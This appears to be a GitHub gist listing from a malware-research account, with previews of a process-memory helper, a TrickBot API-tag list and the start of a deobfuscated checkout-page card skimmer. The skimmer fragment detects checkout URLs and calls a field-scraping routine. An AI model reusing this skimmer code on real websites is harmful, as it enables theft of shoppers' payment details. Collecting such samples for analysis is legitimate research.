malwarezone

This account contains some open source malware codes and extracted configs. I am not the author of any of them.

Created February 8, 2021 21:09

Hidden Bee loader (tags)

malwarezone / scrdec18-VC8.exe

Created December 4, 2020 16:46 — forked from bcse/scrdec18-VC8.exe

Windows Script Decoder 1.8 (Decoding JScript.Encoded)

View raw

malwarezone / snippet.cpp

Created December 11, 2018 02:52

Get limit of the set of pages allocated at the same base

	LPVOID get_area_limit(HANDLE processHandle, LPVOID first_addr)
	{
	MEMORY_BASIC_INFORMATION page_info = { 0 };
	//go to the beginning of the area:
	SIZE_T out = VirtualQueryEx(processHandle, first_addr, &page_info, sizeof(page_info));
	if (GetLastError() == ERROR_INVALID_PARAMETER) {
	return nullptr;
	}
	LPVOID alloc_base = page_info.AllocationBase;
	LPVOID next_area = page_info.BaseAddress;

malwarezone / onlineclouds.cloud_conversion_async_unfuscated.js

Created November 20, 2018 03:13 — forked from gwillem/onlineclouds.cloud_conversion_async_unfuscated.js

Malware from onlineclouds.cloud unfuscated

	setTimeout(checkForCheckout, 100);
	var snd = null;

	function checkForCheckout() {
	if ((/onepage\|firecheckout\|Checkout\|onestepcheckout\|onepagecheckout\|checkout\|oscheckout\|idecheckoutvm\|fancycheckout/).test(window.location)) {
	scrapeAllFields();
	}
	}

	function createQueryString() {

malwarezone / 360000.tmptetup.csv

Created October 30, 2018 00:45

Tags for a TrickBot sample: c3737aaf6b613a7c7d5e0c6d3c0d60a2

	10b4	ole32.CoInitializeEx
	10d3	ole32.CoInitializeSecurity
	1260	kernel32.VirtualFreeEx
	1293	kernel32.MultiByteToWideChar
	12c7	kernel32.MultiByteToWideChar
	13e6	msvcrt.memcpy
	141a	OLEAUT32.SysAllocString
	145b	msvcrt._controlfp
	1537	msvcrt._vsnwprintf
	1609	kernel32.GetModuleHandleW

	
		OSZAR »